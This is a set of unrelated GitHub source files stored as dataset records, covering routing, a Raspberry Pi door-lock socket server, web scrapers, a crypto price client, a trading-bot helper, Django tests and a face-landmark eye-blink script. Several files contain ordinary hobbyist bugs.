port\n return key_port, min_cost\n\n #decrement every time the handler_time goes off\n def decrement_expiration_time(self):\n\n new_dv_table = {}\n for dst in self.dv_table:\n dict_ports = self.dv_table[dst]\n new_dict_ports = {}\n for port in dict_ports:\n lst = dict_ports[port]\n lat = lst[0]\n exp = lst[1]\n if lat == INFINITY:\n continue\n if exp is None:\n new_dict_ports[port] = [lat, exp]\n continue\n exp -= self.DEFAULT_TIMER_INTERVAL\n if exp > 0:\n new_dict_ports[port] = [lat, exp]\n if len(new_dict_ports) != 0:\n new_dv_table[dst] = new_dict_ports\n self.dv_table = new_dv_table\n\n\n#count to infinity\n\n#Keep in mind that you are allowed to send RoutePackets to hosts,\n# but we will be testing you on sending excessive RoutePackets.\n# This will be one of the potential places you can optimize,\n# as sending RoutePackets to hosts doesn't do anything.\n","repo_name":"dkchoi21/cs168-projects","sub_path":"proj2_routing/dv_router.py","file_name":"dv_router.py","file_ext":"py","file_size_in_byte":6315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33807737963","text":"import socket\nimport RPi.GPIO as gpio\nimport time\n\nhost = ''\nport = 5560 #this specified port should be same as PC\nBUFFER_SIZE = 1024 \npin = 18 #pin at which door's lock will be connected \ngpio.setmode(gpio.BCM)\ngpio.setup(pin, gpio.OUT)\n\nstoredValue = \"hello I am server\"\n\ndef setupServer():\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n print(\"socket created\")\n try:\n s.bind((host,port))\n except socket.error as msg:\n print(msg)\n print(\"socket bind complete\")\n return s\ndef setupConnection():\n s.listen(1) #allow one connection\n conn,address = s.accept()\n print(\"Connected to : \" + str(address))\n return conn\n\ndef door(): #door function can be changed from here as your wish\n gpio.output(pin, gpio.LOW) \n print(\"door is now Opening\")\n gpio.output(pin, gpio.HIGH)\n print(\"door will be opened for 10 sec\")\n time.sleep(10)\n gpio.output(pin, gpio.LOW)\n print(\"door has been closed\") \n\n\ndef dataTransfer(conn):\n #loop send receive data\n while True:\n #receive the data\n data = conn.recv(1024) #reveive the data\n data = data.decode('utf-8')\n #split data such that you separate the cammand from rest of data \n dataMessage = data.split(' ',1)\n cammand = dataMessage[0]\n if cammand == 'True':\n print(\"door open request\")\n reply = door(); \n elif cammand == 'EXIT':\n print(\"cilent left\")\n break\n elif cammand == 'KILL':\n print (\"our server sutting down.\")\n s.close()\n break\n else:\n reply = 'Unknown Cammand'\n\n conn.sendall(str.encode(str(reply)))\n print(\"data has been sent\")\n conn.colse() \n\n\ns = setupServer()\n\nwhile True:\n try:\n conn = setupConnection()\n dataTransfer(conn)\n except socket.error as msg:\n print(msg)\n break\ns.close()\n \n","repo_name":"prakharexjailia/faceRecognizationDoorLockLBPH","sub_path":"Pi/piServer.py","file_name":"piServer.py","file_ext":"py","file_size_in_byte":2474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44463707687","text":"# # (1,1)(1,2)(1,3)\n# # (2,1)(2,2)(2,3)\n# # (3,1)(3,2)(3,3)\n#\n# # 동 북 서 남\n# # R U L D\n# dx = [0,-1,0,1]\n# dy = [1,0,-1,0]\n#\n# n = int(input()) #공간의 크기 1<= n <=100\n# direct = input().split()\n# # ['R', 'R', 'R', 'U', 'D', 'D']\n# print(direct)\n#\n# x,y=1,1 #실제 이동위치\n# nx, ny = 0,0 #임시저장 다음위치\n# for d in direct:\n# if d=='R':\n# nx = x + dx[0]\n# ny = y + dy[0]\n#\n# if d=='U':\n# nx = x + dx[1]\n# ny = y + dy[1]\n#\n# if d=='L':\n# nx = x + dx[2]\n# ny = y + dy[2]\n#\n# if d=='D':\n# nx = x + dx[3]\n# ny = y + dy[3]\n#\n# if 1<=nx<=n and 1<=ny<=n: #이동한 위치가 지도를 벗어나지 않는 경우\n# x=nx\n# y=ny\n#\n# else: #이동한 위치가 지도를 벗어난 경우. 이동안함\n# nx=x\n# ny=y\n#\n# print(x,',',y,'로 이동')\n#\n# print('도착위치 : ',x,y)\n#양재주현 풀이\n\n#N 입력받기\nn = int(input())\nx,y = 1,1\nplans = input().split()\n# L R U D에 따른 이동방향\ndx = [0,0,-1,1]\ndy = [-1,1,0,0]\nmove_types = ['L','R','U','D']\n\n#이동 계획을 하나씩 확인하기\nfor plan in plans:\n\n #이동 후 좌표 구하기\n for i in range(len(move_types)):\n if plans == move_types[i]:\n nx = x + x[i]\n ny = y + y[i]\n\n #공간을 벗어나는 경우 무시\n if nx<1 or nx>n or ny<1 or ny>n:\n continue #아래 코드 실행 안하고 반복문으로\n\n #이동 수행\n x,y = nx, ny\n print(x,y ,'로 이동')\n\nprint()\n\n\n","repo_name":"JooHyeonKim/python_algorithm_Notes","sub_path":"exercise01/2.greedy/4-1상하좌우.py","file_name":"4-1상하좌우.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"69811390828","text":"import requests\nimport re\ndef get_one_page(url):\n\theaders = {\n\t\t'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36'\n\t}\n\tresponse = requests.get(url, params=headers)\n\tif response.status_code == 200:\n\t\treturn response.text\n\treturn None\n\ndef parse_one_page(html):\n\tpattern = re.compile('
.*?board-index.*?>(.*?).*?data-src=\"(.*?)\".*?name.*?a.*?>(.*?).*?star.*?>(.*?)

' \\\n\t '.*?releasetime.*?>(.*?)

.*?integer.*?>(.*?).*?fraction.*?>(.*?).*?
', re.S)\n\titems = re.findall(pattern, html)\n\n\tfor item in items:\n\t\tyield {\n\t\t\t'rank': item[0],\n\t\t\t'image': item[1],\n\t\t\t'title': item[2],\n\t\t\t'stars': item[3],\n\t\t\t'time': item[4],\n\t\t\t'score': item[5] + item[6]\n\t\t}\n\ndef main(offset):\n\turl = 'https://maoyan.com/board/4?offset=%s' % offset * 10\n\thtml = get_one_page(url)\n\tfor item in parse_one_page(html):\n\t\tprint(item)\n\n\nif __name__ == '__main__':\n\tfor i in range(10):\n\t\tmain(i)\n","repo_name":"zshnb/spider","sub_path":"demo/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"22485993265","text":"import numpy as np\nimport torch\n\n\ndef noise_generator(train_labels, noise_rate=0., noise_type='symmetry'):\n print('Generating noisy label, noise_rate %f, noise_type %s' % (noise_rate, noise_type))\n label = train_labels.clone()\n num = label.__len__()\n d_label = max(label) + 1\n p_symmetry = [1/max(label) for _ in range(d_label)]\n\n if noise_type == 'symmetry':\n for c in range(d_label):\n prob = p_symmetry\n prob[c] = 0\n idx = np.where(train_labels == c)\n sample_idx = np.random.choice(idx[0], int(len(idx[0]) * noise_rate), replace=False)\n for i in range(len(sample_idx)):\n label[sample_idx[i]] = torch.Tensor(np.random.choice(d_label, 1, prob))\n\n elif noise_type == 'pair':\n for c in range(d_label):\n idx = np.where(train_labels == c)\n sample_idx = np.random.choice(idx[0], int(len(idx[0]) * noise_rate), replace=False)\n for i in range(len(sample_idx)):\n label[sample_idx[i]] = (c + 1) % d_label.item()\n else:\n AssertionError(\"noise_type is error!\")\n\n rate = np.where(label != train_labels)[0].shape[0] / num\n print('Exactly noisy rate is %f' % rate)\n return label","repo_name":"mily33/evoluted_noise","sub_path":"dataGenerator.py","file_name":"dataGenerator.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4745400391","text":"\"\"\"\nMerges two seperate training files, where each one contains one language, into one tab seperated file.\n\"\"\"\n\nBASE_DATA_DIR = '../../DataSets/Validation/'\n\nen = 'newstest2013.en'\nde = 'newstest2013.de'\n\nout = 'merged_en_de.txt'\nimport os\n\nwith(open(os.path.join(BASE_DATA_DIR, en), encoding='utf8')) as file:\n data_en = file.readlines()\nwith(open(os.path.join(BASE_DATA_DIR, de), encoding='utf8')) as file:\n data_de = file.readlines()\n\nprint(len(data_en) == len(data_de))\nout_data = []\nfor line_idx in range(len(data_en)):\n out_data.append(data_en[line_idx].replace(\"\\n\", \"\") + \"\\t\" + data_de[line_idx].replace(\"\\n\", \"\") + \"\\n\")\nprint(out_data[0])\nwith(open(os.path.join(BASE_DATA_DIR, out), 'w', encoding='utf8')) as file:\n file.writelines(out_data)\nprint(len(data_en) == len(data_de) == len(out_data))\n","repo_name":"ml-nic/NMT-PA","sub_path":"NMT/src/our_implementation/helpers/merge_training_files.py","file_name":"merge_training_files.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"40717549035","text":"import scrapy\nimport scrapy.log\n\nfrom scrapy.log import ERROR, WARNING, INFO, DEBUG\n\nfrom news_parser.items import NewsItem\n\n# scrapy crawl news_spider -a required_pages=2 (any integer)\n\nclass NewsSpider(scrapy.Spider):\n \"\"\"Spider to parse forbes.ua site\"\"\"\n name = 'news_spider'\n allowed_domains = [\"forbes.ua\",]\n\n start_urls = [\"http://forbes.ua/news\"]\n\n def __init__(self, required_pages=1, *args, **kwargs):\n self.required_pages = required_pages\n super(NewsSpider, self).__init__(*args, **kwargs)\n\n def parse(self, response):\n \"\"\"Return request for every news_detail link.\n Create item instance, populate title field. \n\n Test a sample response. Run 'scrapy check news_spider' to check.\n\n @url http://forbes.ua/news\n @returns request 20\n \"\"\"\n try:\n current_index = response.meta['current_index']\n except KeyError:\n current_index= 1\n next_index = current_index + 1\n self.log('Next page index = %i' % next_index, INFO)\n # create url for next page\n next_page = \"http://forbes.ua/news?p=%i\" % next_index\n self.log('Next wisited page %s' % next_page, DEBUG)\n # stop parsing after required number of pages\n if next_index <= self.required_pages:\n # recursive call parse method for the paginated page\n yield scrapy.Request(next_page, self.parse,\n meta={'current_index':current_index})\n\n links = response.xpath('//div[@class=\"oh\"]/h2/a')\n # only the links contained world 'news' will be remaining\n news_links = [link for link in links if 'news' in link.extract()]\n for link in news_links:\n detail_url = link.xpath('./@href').extract()[0]\n title = link.xpath('./text()').extract()[0]\n item = NewsItem()\n item['title'] = title\n yield scrapy.Request(detail_url, self.parse_detail,\n meta={'item':item})\n\n def parse_detail(self, response):\n \"\"\"Parse page and populate item with body, img_url.\n\n @url http://forbes.ua/news\n @returns items 0 20\n \"\"\"\n item = response.meta.get('item')\n if item:\n body = response.xpath('//div[@class=\"text_box\"]/p/text()').extract()\n img_url = response.xpath('//div[@class=\"img_box1\"]/img/@src').extract()\n item['image_urls'] = img_url\n item['body'] = body[0] # only first

will be recorded\n yield item\n else:\n self.log('No item instance was found in response.meta',\n ERROR)\n\n\n","repo_name":"vg01/parser","sub_path":"news_parser/spiders/spider_one.py","file_name":"spider_one.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5739675496","text":"import requests\nimport pandas as pd\n\nclass CBClient:\n \"\"\"\n this class is intended to pull price history\n data from Coinbase's data endpoints\n \"\"\"\n def __init__(self):\n self.__ENDPOINT = \"https://api.coinbase.com/v2/\"\n self.__TOKENS = {\"BTC\", \"ETH\", \"XRP\", \"BAT\"}\n \n def get_spot_over_time(self, token=\"BTC\", start_date=\"2017-01-01\", end_date=\"2019-10-28\"):\n data = []\n daterange = pd.date_range(start_date, end_date)\n for date in daterange:\n date = date.strftime(\"%Y-%m-%d\")\n spot = self.get_spot(token, date)\n data.append(spot)\n return data\n\n def get_tokens(self):\n return self.__TOKENS\n\n def get_spot(self, token: str, date: str):\n if token not in self.__TOKENS:\n return\n req = f\"{self.__ENDPOINT}/prices/{token}-USD/spot?date={date}\"\n response = requests.get(req)\n spot = response.json()\n spot[\"data\"][\"date\"] = date\n return spot[\"data\"]\n\n def get_iso_time(self):\n req = f\"{self.__ENDPOINT}/time\"\n response = requests.get(req)\n time = response.json()\n return time[\"data\"]\n","repo_name":"bybside/cb-trade-analysis","sub_path":"models/cbclient.py","file_name":"cbclient.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74501476906","text":"import pandas as pd \nimport numpy as np \n\n\n\n\n#--------------no regex version---------------\n# ---------------turn any string into foat-------------\ndef anystring_to_float(string):\n newstring =\"\" \n my_float=\"\"\n count=0\n try:\n for a in string: \n if a=='.' or (a.isnumeric()) == True: \n count+= 1\n my_float+=a\n else: \n newstring+= a \n # print(count) \n # print(newstring) \n # print('data type of {} is now {}'.format(num, type(num)))\n return float(my_float)\n except:\n return np.nan\n\n\n# anystring_to_float(string)\n\n\ndef change_df(df):\n for i in indice_of_columns:\n print(df.columns[i])\n df[df.columns[i]]=df[df.columns[i]].map(lambda row:anystring_to_float(row))\n return df\n\n\n#--------You should change indice list here: ---------\n\n\nindice_of_columns=[5,7,8,9]\nchange_df(df)\n","repo_name":"byambaa1982/usefulregex","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"22884452210","text":"__VERSION__ = \"1.2\"\n__DATE__=\"02/May/2023\"\n\nfrom dataclasses import dataclass\nfrom typing import Union, Any\nfrom _decimal import Decimal\nfrom fastlane_bot.events.interface import Token, Pool\n\n\n@dataclass\nclass TradeInstruction:\n \"\"\"\n A class that handles the conversion of token decimals for the bot.\n\n Parameters\n ----------\n cid: str\n The pool unique ID\n tknin: str\n The input token key (e.g. 'DAI-1d46')\n amtin: int or Decimal or float\n The input amount.\n tknout: str\n The output token key (e.g. 'DAI-1d46')\n amtout: int or Decimal or float\n The output amount.\n cid_tkn: str\n If the curve is a Carbon curve, the cid will have a \"-1\" or \"-0\" to denote which side of the strategy the trade is on.\n This parameter is used to remove the \"-1\" or \"-0\" from the cid.\n raw_txs: str\n pair_sorting: str\n\n Attributes\n ----------\n \n TODO -- DOCSTRING OUT OF DATE \n _tknin_address: str\n The input token address.\n _tknin_decimals: int\n The input token decimals.\n _amtin_wei: int\n The input amount in wei.\n _amtin_decimals: Decimal\n The input amount in decimals.\n _tknout_address: str\n The output token address.\n _tknout_decimals: int\n The output token decimals.\n _amtout_wei: int\n The output amount in wei.\n _amtout_decimals: Decimal\n The output amount in decimals.\n _is_carbon: bool\n Whether the curve is a Carbon curve.\n\n \"\"\"\n __VERSION__=__VERSION__\n __DATE__=__DATE__\n \n ConfigObj: Any\n cid: str\n tknin: str\n amtin: Union[int, Decimal, float]\n tknout: str\n amtout: Union[int, Decimal, float]\n pair_sorting: str = None\n raw_txs: str = None\n custom_data: str = ''\n db: any = None\n tknin_dec_override: int = None # for testing to not go to the database\n tknout_dec_override: int = None # ditto\n tknin_addr_override: str = None # ditto\n tknout_addr_override: str = None # ditto\n exchange_override: str = None # ditto\n _amtin_wei: int = None\n _amtout_wei: int = None\n\n @property\n def tknin_key(self) -> str:\n \"\"\"\n The input token key (e.g. 'DAI-1d46')\n \"\"\"\n return self.tknin\n\n @property\n def tknout_key(self) -> str:\n \"\"\"\n The output token key (e.g. 'DAI-1d46')\n \"\"\"\n return self.tknout\n\n def __post_init__(self):\n \"\"\"\n Use the database session to get the token addresses and decimals based on the Pool.cid and Token.key\n \"\"\"\n self._cid_tkn: str = None\n self._is_carbon = self._check_if_carbon()\n \n if self.tknin_dec_override is None:\n TokenIn = self.db.get_token(key =self.tknin)\n self._tknin_address = TokenIn.address\n self._tknin_decimals = int(TokenIn.decimals)\n else:\n self._tknin_address = self.tknin_addr_override\n self._tknin_decimals = self.tknin_dec_override\n\n if self._amtin_wei is None:\n self._amtin_wei = self._convert_to_wei(self.amtin, self._tknin_decimals)\n\n self._amtin_decimals = self._convert_to_decimals(\n self.amtin, self._tknin_decimals\n )\n self._amtin_quantized = self._quantize(\n self._amtin_decimals, self._tknin_decimals\n )\n \n if self.tknout_dec_override is None:\n TokenOut = self.db.get_token(key =self.tknout)\n self._tknout_address = TokenOut.address\n self._tknout_decimals = int(TokenOut.decimals)\n else:\n self._tknout_address = self.tknout_addr_override\n self._tknout_decimals = self.tknout_dec_override\n \n if self._amtout_wei is None: \n self._amtout_wei = self._convert_to_wei(self.amtout, self._tknout_decimals)\n\n self._amtout_decimals = self._convert_to_decimals(\n self.amtout, self._tknout_decimals\n )\n self._amtout_quantized = self._quantize(\n self._amtout_decimals, self._tknout_decimals\n )\n if self.raw_txs is None:\n self.raw_txs = \"[]\"\n if self.pair_sorting is None:\n self.pair_sorting = \"\"\n if self.exchange_override is None:\n self._exchange_name = self.db.get_pool(cid=self.cid.split('-')[0]).exchange_name\n else:\n self._exchange_name = self.exchange_override\n self._exchange_id = self.get_platform_id()\n\n def get_platform_id(self):\n \"\"\"\n Gets the platform id. For Uni V2 & V3 forks, this is the Uniswap V2/V3 platform id.\n \"\"\"\n if self._exchange_name in self.ConfigObj.EXCHANGE_IDS:\n return self.ConfigObj.EXCHANGE_IDS[self._exchange_name]\n elif self._exchange_name in self.ConfigObj.UNI_V2_FORKS:\n return self.ConfigObj.EXCHANGE_IDS[self.ConfigObj.UNISWAP_V2_NAME]\n elif self._exchange_name in self.ConfigObj.UNI_V3_FORKS:\n return self.ConfigObj.EXCHANGE_IDS[self.ConfigObj.UNISWAP_V3_NAME]\n\n @property\n def platform_id(self) -> int:\n \"\"\"\n The exchange ID. (0 = Bancor V2, 1 = Bancor V3, 2 = Uniswap V2, 3 = Uniswap V3, 4 = Sushiswap V2, 5 = Sushiswap, 6 = Carbon)\n \"\"\"\n return self._exchange_id\n\n @property\n def exchange_name(self) -> str:\n \"\"\"\n The exchange name.\n \"\"\"\n return self._exchange_name\n\n @staticmethod\n def _quantize(amount: Decimal, decimals: int) -> Decimal:\n \"\"\"\n Quantizes the amount based on the token decimals.\n\n Parameters\n ----------\n amount: Decimal\n The amount.\n decimals: int\n The token decimals.\n\n Returns\n -------\n Decimal\n The quantized amount.\n \"\"\"\n # print(f\"[_quantize], amount: {amount}, type = {type(amount)}, decimals: {decimals}, type {type(decimals)}\")\n\n if \".\" not in str(amount):\n return Decimal(str(amount))\n amount = format(amount, 'f')\n amount_num = str(amount).split(\".\")[0]\n amount_dec = str(amount).split(\".\")[1]\n # print(f\"[_quantize], amount_dec: {amount_dec}, type = {type(amount_dec)}\")\n amount_dec = str(amount_dec)[:int(decimals)]\n # print(f\"[_quantize], amount_dec: {amount_dec}, type = {type(amount_dec)}\")\n try:\n return Decimal(f\"{str(amount_num)}.{amount_dec}\")\n except Exception as e:\n #print(\"Error quantizing amount: \", f\"{str(amount_num)}.{amount_dec}\")\n pass\n\n\n\n def _get_token_address(self, token_key: str) -> str:\n \"\"\"\n Gets the token address based on the token key.\n\n Parameters\n ----------\n token_key: str\n The token key (e.g. 'DAI-1d46')\n\n Returns\n -------\n str\n The token address.\n \"\"\"\n return self._get_token(token_key).address\n\n def _get_token_decimals(self, token_key: str) -> int:\n \"\"\"\n Gets the token decimals based on the token key.\n\n Parameters\n ----------\n token_key: str\n The token key (e.g. 'DAI-1d46')\n\n Returns\n -------\n int\n The token decimals.\n \"\"\"\n return self._get_token(token_key).decimals\n\n def _get_token(self, token_key: str) -> Token:\n \"\"\"\n Gets the token object based on the token key.\n\n Parameters\n ----------\n token_key: str\n The token key (e.g. 'DAI-1d46')\n\n Returns\n -------\n Token\n The token object.\n \"\"\"\n\n return self.db.get_token(key=token_key)\n\n def _get_pool(self) -> Pool:\n \"\"\"\n Gets the pool object based on the pool cid.\n\n Returns\n -------\n Pool\n The pool object.\n \"\"\"\n return self.db.get_pool(cid=self.cid)\n\n @staticmethod\n def _convert_to_wei(amount: Union[int, Decimal, float], decimals: int) -> int:\n \"\"\"\n Converts the amount to wei.\n\n Parameters\n ----------\n amount: int, Decimal or float\n The amount.\n decimals: int\n The token decimals.\n\n Returns\n -------\n int\n The amount in wei.\n \"\"\"\n try:\n return int(amount * 10**decimals)\n except:\n int(float(str(amount) * 10**decimals))\n\n @staticmethod\n def _convert_to_decimals(\n amount: Union[int, Decimal, float], decimals: int\n ) -> Decimal:\n \"\"\"\n Converts the amount to decimals.\n\n Parameters\n ----------\n amount: int, Decimal or float\n The amount.\n decimals: int\n The token decimals.\n\n Returns\n -------\n Decimal\n The amount in decimals.\n \"\"\"\n return Decimal(amount) / Decimal(10**decimals)\n\n def _check_if_carbon(self) -> bool:\n \"\"\"\n Checks if the curve is a Carbon curve.\n\n Returns\n -------\n bool\n Whether the curve is a Carbon curve.\n \"\"\"\n if \"-\" in self.cid:\n self._cid_tkn = self.cid.split(\"-\")[1]\n self.cid = self.cid.split(\"-\")[0]\n return True\n return False\n\n @property\n def cid_tkn(self) -> str:\n \"\"\"\n The token cid.\n \"\"\"\n return self._cid_tkn\n\n @property\n def tknin_address(self) -> str:\n \"\"\"\n The input token address.\n \"\"\"\n return self._tknin_address\n\n @property\n def tknin_decimals(self) -> int:\n \"\"\"\n The input token decimals.\n \"\"\"\n return self._tknin_decimals\n\n @property\n def amtin_wei(self) -> int:\n \"\"\"\n The input amount in wei.\n \"\"\"\n return self._amtin_wei\n\n @property\n def amtin_decimals(self) -> Decimal:\n \"\"\"\n The input amount in decimals.\n \"\"\"\n return self._amtin_decimals\n\n @property\n def tknout_address(self) -> str:\n \"\"\"\n The output token address.\n \"\"\"\n return self._tknout_address\n\n @property\n def tknout_decimals(self) -> int:\n \"\"\"\n The output token decimals.\n \"\"\"\n return self._tknout_decimals\n\n @property\n def amtout_wei(self) -> int:\n \"\"\"\n The output amount in wei.\n \"\"\"\n return self._amtout_wei\n\n @property\n def amtout_decimals(self) -> Decimal:\n \"\"\"\n The output amount in decimals.\n \"\"\"\n return self._amtout_decimals\n\n @property\n def is_carbon(self) -> bool:\n \"\"\"\n Whether the curve is a Carbon curve.\n \"\"\"\n return self._is_carbon\n\n @property\n def pool(self) -> Pool:\n \"\"\"\n The pool object.\n \"\"\"\n return self._get_pool()\n\n @property\n def token_in(self) -> Token:\n \"\"\"\n The input token object.\n \"\"\"\n return self._get_token(self.tknin)\n\n @property\n def token_out(self) -> Token:\n \"\"\"\n The output token object.\n \"\"\"\n return self._get_token(self.tknout)\n\n @property\n def amtin_quantized(self) -> Decimal:\n \"\"\"\n Returns\n -------\n Decimal\n The quantized input amount.\n \"\"\"\n return self._amtin_quantized\n\n @property\n def amtout_quantized(self) -> Decimal:\n \"\"\"\n Returns\n -------\n Decimal\n The quantized output amount.\n \"\"\"\n return self._amtout_quantized\n","repo_name":"bancorprotocol/fastlane-bot","sub_path":"fastlane_bot/helpers/tradeinstruction.py","file_name":"tradeinstruction.py","file_ext":"py","file_size_in_byte":11560,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"37"} +{"seq_id":"10497594171","text":"from json import dumps, loads\n\nfrom django.contrib.auth import get_user_model\nfrom django.utils.encoding import force_text\nfrom django.utils.http import urlsafe_base64_decode, urlsafe_base64_encode\nfrom rest_framework import status\nfrom rest_framework.reverse import reverse\nfrom rest_framework.utils.serializer_helpers import ReturnDict, ReturnList\n\nfrom authors.apps.articles.models import Article, Rate, User\nfrom .test_articles import ArticlesTest\n\nUser = get_user_model()\narticles_url = reverse('articles:list_create_articles')\nsignup_url = reverse('authentication:create_user')\nlogin_url = reverse('authentication:login')\nslug = \"how_to_train_your_dragon\"\n\n\nclass TestArticles(ArticlesTest):\n def test_user_can_update_like_status(self):\n resp = self.client.post(\n articles_url, self.article, **self.headers, format='json')\n self.data = {\"like_status\": \"like\"}\n num = dict(resp.data)['id']\n res = self.client.put(\n f\"{articles_url}{num}/like_status\", self.data, **self.headers, format='json')\n\n self.assertTrue(res.status_code == 500)\n res = self.client.post(\n f\"{articles_url}{num}/like_status\", self.data, **self.headers, format='json')\n self.assertTrue(res.status_code, 201)\n self.assertIn('like_status', res.data)\n\n def test_wrong_user_can_update_like_status(self):\n resp = self.client.post(\n articles_url, self.article, **self.headers, format='json')\n self.data = {\"like_status\": \"like\"}\n num = dict(resp.data)['id']\n self.data2 = {\"like_status\": \"dislike\"}\n res1 = self.client.post(\n f\"{articles_url}{num}/like_status\", self.data, **self.headers, format='json')\n res = self.client.put(\n f\"{articles_url}{num}/like_status\", self.data2, **self.headers2, format='json')\n\n self.assertTrue(res1.status_code, 201)\n self.assertTrue(res.status_code, 500)\n self.assertIn('error', res.data)\n self.assertEqual('Only judme29 can edit this!', res.data['error'])\n\n def test_user_can_post_articl(self):\n self.assertEqual(self.response4.status_code, 201)\n self.assertIn('id', self.response4.data)\n self.assertIn('slug', self.response4.data)\n self.assertIn('body', self.response4.data)\n\n def test_user_can_get_articl(self):\n self.assertEqual(self.response3.status_code, 200)\n\n def test_user_can_get_article_byI(self):\n resp = self.client.post(\n articles_url, self.article, **self.headers, format='json')\n num = dict(resp.data)['id']\n response5 = self.client.get(\n f'{articles_url}{num}', **self.headers, format='json')\n response6 = self.client.get(\n f'{articles_url}{num}', format='json')\n\n self.assertEqual(response5.status_code, 200)\n self.assertTrue(isinstance(response5.data, ReturnDict))\n self.assertEqual(response6.status_code, 200)\n self.assertTrue(isinstance(response6.data, ReturnDict))\n\n def test_user_post_badTitle(self):\n resp = self.client.post(\n articles_url, self.bad_title, **self.headers, format='json')\n self.assertTrue(resp.status_code, 500)\n self.assertIn('error', resp.data)\n\n def test_user_post_missing_fields(self):\n resp = self.client.post(\n articles_url, self.missing_fieilds, **self.headers, format='json')\n\n self.assertTrue(resp.status_code, 500)\n self.assertIn('error', resp.data)\n\n def test_user_can_get_article_bySlug(self):\n self.assertEqual(self.response6.status_code, 200)\n self.assertTrue(isinstance(self.response6.data, ReturnDict))\n\n def test_user_can_delete_articl(self):\n\n resp = self.client.post(\n articles_url, self.article, **self.headers, format='json')\n\n num = dict(resp.data)['id']\n res = self.client.delete(\n f'{articles_url}{num}', **self.headers, format='json')\n self.assertEqual(res.status_code, 200)\n self.assertIn('success', res.data)\n\n def test_user_can_update_article(self):\n data = {\n \"article\": {\n \"title\": \"cows\",\n \"description\": \"Ever wonder how?\",\n \"body\": \"It takes a Jacobian goat not cow\",\n \"tag_list\": [\"cows\", \"training\"]\n\n }\n }\n resp = self.client.post(\n articles_url, self.article, **self.headers, format='json')\n\n num = dict(resp.data)['id']\n\n res = self.client.patch(\n f'{articles_url}{num}', data, **self.headers, format='json')\n self.assertEqual(res.status_code, 200)\n\n def test_wrong_user_update_article(self):\n data = {\n \"article\": {\n \"title\": \"cows\",\n \"description\": \"Ever wonder how?\",\n \"body\": \"It takes a Jacobian goat not cow\",\n \"tag_list\": [\"cows\", \"training\"]\n\n }\n }\n resp = self.client.post(\n articles_url, self.article, **self.headers, format='json')\n\n num = dict(resp.data)['id']\n\n res = self.client.patch(\n f'{articles_url}{num}', data, **self.headers2, format='json')\n self.assertEqual(res.status_code, 500)\n self.assertIn('error', res.data)\n\n def test_wrong_user_can_delete_article(self):\n\n resp = self.client.post(\n articles_url, self.article, **self.headers, format='json')\n\n num = dict(resp.data)['id']\n res = self.client.delete(\n f'{articles_url}{num}', **self.headers2, format='json')\n self.assertEqual(res.status_code, 500)\n self.assertIn('error', res.data)\n\n def test_user_can_rate_an_article(self):\n response = self.client.post(\n '/api/articles/add_rates/{}'.format(self.slug), self.rate, **self.headers_user_rates, format='json')\n self.assertIn(\"how_to_train_your_dragon\", response.data['slug'])\n\n def test_author_cannot_rate_his_article(self):\n response = self.client.post(\n '/api/articles/add_rates/{}'.format(self.slug), self.rate, **self.headers, format='json')\n self.assertEqual(response.status_code, 400)\n self.assertIn(\"You can not rate your article\",\n response.data['message'])\n\n def test_display_average_rating_of_an_article_not_rated(self):\n response = self.client.get(\n '/api/articles/view_rates/{}'.format(self.slug), format='json')\n self.assertEqual(response.status_code, 200)\n self.assertEqual(0, response.data['average_ratings'])\n\n def test_display_average_rating_of_an_article_rated(self):\n self.test_user_can_rate_an_article()\n response = self.client.get(\n '/api/articles/view_rates/{}'.format(self.slug), format='json')\n self.assertEqual(response.status_code, 200)\n self.assertEqual(4, response.data['average_ratings'])\n","repo_name":"andela/ah-backend-thor","sub_path":"authors/apps/articles/test_articles/test_articles_2.py","file_name":"test_articles_2.py","file_ext":"py","file_size_in_byte":6928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70970479146","text":"import cv2\nimport numpy as np\n\nimport matplotlib\n\nmatplotlib.use('TkAgg')\n\nimport matplotlib.pyplot as plt\nfrom scipy.spatial import distance as dist\nfrom collections import deque\n\nimport mediapipe as mp\nfrom mediapipe.tasks import python\nfrom mediapipe.tasks.python import vision\n\n\ndef calculate_ear(eye):\n y1 = dist.euclidean(eye[2], eye[3])\n y2 = dist.euclidean(eye[4], eye[5])\n\n x1 = dist.euclidean(eye[0], eye[1])\n\n ear = (y1 + y2) / x1\n\n return ear\n\n\ndef landmark_detection(camera):\n _, img = camera.read()\n\n mp_image = mp.Image(image_format=mp.ImageFormat.SRGB, data=img)\n\n detection_result = detector.detect(mp_image)\n\n face_landmarks_list = detection_result.face_landmarks\n annotated_image = np.copy(mp_image.numpy_view())\n\n for idx in range(len(face_landmarks_list)):\n face_landmarks = face_landmarks_list[idx]\n\n left_eye = []\n right_eye = []\n for i in [33, 133, 159, 145, 158, 153]:\n left_eye.append((int(face_landmarks[i].x * annotated_image.shape[1]),\n int(face_landmarks[i].y * annotated_image.shape[0])))\n\n for i in [263, 362, 385, 380, 386, 374]:\n right_eye.append((int(face_landmarks[i].x * annotated_image.shape[1]),\n int(face_landmarks[i].y * 